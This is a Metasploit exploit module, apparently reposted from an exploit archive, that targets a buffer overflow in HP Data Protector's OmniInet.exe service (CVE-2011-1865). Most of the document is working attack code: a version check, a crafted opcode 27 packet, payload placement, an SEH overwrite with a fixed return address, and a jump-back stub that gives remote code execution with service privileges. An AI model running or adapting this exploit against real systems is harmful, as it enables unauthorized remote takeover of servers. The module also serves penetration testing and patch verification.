HP OmniInet.exe Opcode 27 Buffer Overflow

##
# $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a  buffer overflow in the Hewlett-Packard
                OmniInet NT Service. By sending a specially crafted opcode 27 packet,
                a remote attacker may be able to execute arbitrary code.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13081 $',
            'References'     =>
                [
                    [ 'CVE', '2011-1865' ],
                    [ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space'    => 800,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
                        {
                            #POP/POP/RET from OmniBack\bin\MSVCR71.dll
                            'Ret' => 0x7c35630d
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jun 29 2011'))
 
        register_options([Opt::RPORT(5555)], self.class)
    end
 
    def check
 
        connect
        sock.put(rand_text_alpha_upper(64))
        resp = sock.get_once(-1,5)
        disconnect
 
        if (resp)
            resp = resp.unpack('v*').pack('C*')
            print_status("Received response: " + resp)
 
            # extract version
            if (resp =~ /HP Data Protector/)
                version = resp.split[3]
            elsif (resp =~ /HP OpenView Storage Data Protector/)
                version = resp.split[5]
            elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
                version = resp.split[5]
            else
                return Exploit::CheckCode::Detected
            end
 
            version = version.split('.')
            major = version[1].to_i
            minor = version[2].to_i
            if ((major < 6) or (major == 6 and minor < 11))
                return Exploit::CheckCode::Vulnerable
            end
 
            if ((major > 6) or (major == 6 and minor >= 11))
                return Exploit::CheckCode::Safe
            end
 
        end
        return Exploit::CheckCode::Safe
 
    end
 
    def exploit
 
        connect
 
        trigger = rand_text_alpha_upper(10000)
        trigger[4552, payload.encoded.length] = payload.encoded
        trigger[5352, 8] = generate_seh_record(target.ret)
        trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string
 
        opcode = "27"
 
        packet = Rex::Text.to_unicode("\x00")
        packet << "\x27\xca" #length
        packet << "\xff\xfe\x32"
        packet << "\x00\x00\x00"
        packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
        packet << Rex::Text.to_unicode("\x20")
        packet << trigger
        packet << Rex::Text.to_unicode("\x00")
        packet << Rex::Text.to_unicode("\x20\x61\x00")
        packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
        packet << Rex::Text.to_unicode("\x20\x61\x00") * 24
 
        print_status("Trying #{target.name}...")
        sock.put(packet)
         
        select(nil,nil,nil,10)
        handler
        disconnect
 
    end
 
end



#  0day.today [2018-01-01]  #